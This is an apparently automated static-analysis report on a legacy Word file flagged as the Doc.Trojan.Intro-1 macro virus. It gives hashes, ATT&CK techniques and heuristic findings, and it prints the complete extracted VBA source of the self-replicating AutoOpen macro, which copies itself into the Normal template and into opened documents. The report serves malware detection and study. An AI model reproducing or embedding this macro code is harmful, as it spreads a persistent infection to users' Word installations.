Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d34d647b0dc15188…

MALICIOUS

Office (OLE)

240.5 KB Created: 2000-04-27 04:14:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: b082629987935ebf199706c8a29cfcb5 SHA-1: ed31c1409930c3db823da49de9497ed1b6d6dd8b SHA-256: d34d647b0dc151885808eb03cbe67612002887f88cdd0dc5dd6a735f69391dd5
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is identified as malicious by ClamAV and contains a VBA macro with an AutoOpen subroutine. This macro is designed to copy itself to the Normal template or the active document, which is a common technique for establishing persistence or ensuring the macro executes on document opening. The presence of the AutoOpen macro and the heuristic firings strongly suggest a macro-based malware delivery mechanism.

Heuristics 4

  • ClamAV: Doc.Trojan.Intro-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Intro-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2083 bytes
SHA-256: 8200ca7beb1eac38e889b26292553961da471ad80c5be13dd829ac459b5aa86d
Detection
ClamAV: Doc.Trojan.Intro-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"
Sub Main()
'Hello
  On Error GoTo 0
  If Not ActiveDocHaveCopied Then
    CopyToActiveDoc
  ElseIf Not NormHaveCopied Then
    CopyToNormal
    Else: MsgBox ("How are you! Please tell me your name!")
  End If
End Sub
Sub CopyToNormal()
  For Each aModule In NormalTemplate.VBProject.VBComponents
    If aModule.Name = "AutoOpen" Then
      IsDblName = True
      Exit For
    End If
  Next aModule
  If IsDblName Then
    With NormalTemplate.VBProject.VBComponents
      .Remove .Item("AutoOpen")
    End With
  End If
  Application.OrganizerCopy Source:=ActiveDocument.FullName, _
       Destination:=NormalTemplate.FullName, _
       Name:="AutoOpen", Object:=wdOrganizerObjectProjectItems
  NormalTemplate.Save
End Sub
Sub CopyToActiveDoc()
  For Each aModule In ActiveDocument.VBProject.VBComponents
    If aModule.Name = "AutoOpen" Then
      IsDblName = True
      Exit For
    End If
  Next aModule
  If IsDblName Then
    With ActiveDocument.VBProject.VBComponents
      .Remove .Item("AutoOpen")
    End With
  End If
  Application.OrganizerCopy Source:=NormalTemplate.FullName, _
       Destination:=ActiveDocument.FullName, _
       Name:="AutoOpen", Object:=wdOrganizerObjectProjectItems
  ActiveDocument.Save
End Sub
Function NormHaveCopied() As Boolean
  For Each aModule In NormalTemplate.VBProject.VBComponents
    If aModule.Name = "AutoOpen" Then
      If aModule.CodeModule.Lines(2, 1) = "'Hello" Then NormHaveCopied = True
    End If
  Next aModule
End Function
Function ActiveDocHaveCopied() As Boolean
  For Each aModule In ActiveDocument.VBProject.VBComponents
    If aModule.Name = "AutoOpen" Then
      If aModule.CodeModule.Lines(2, 1) = "'Hello" Then ActiveDocHaveCopied = True
    End If
  Next aModule
End Function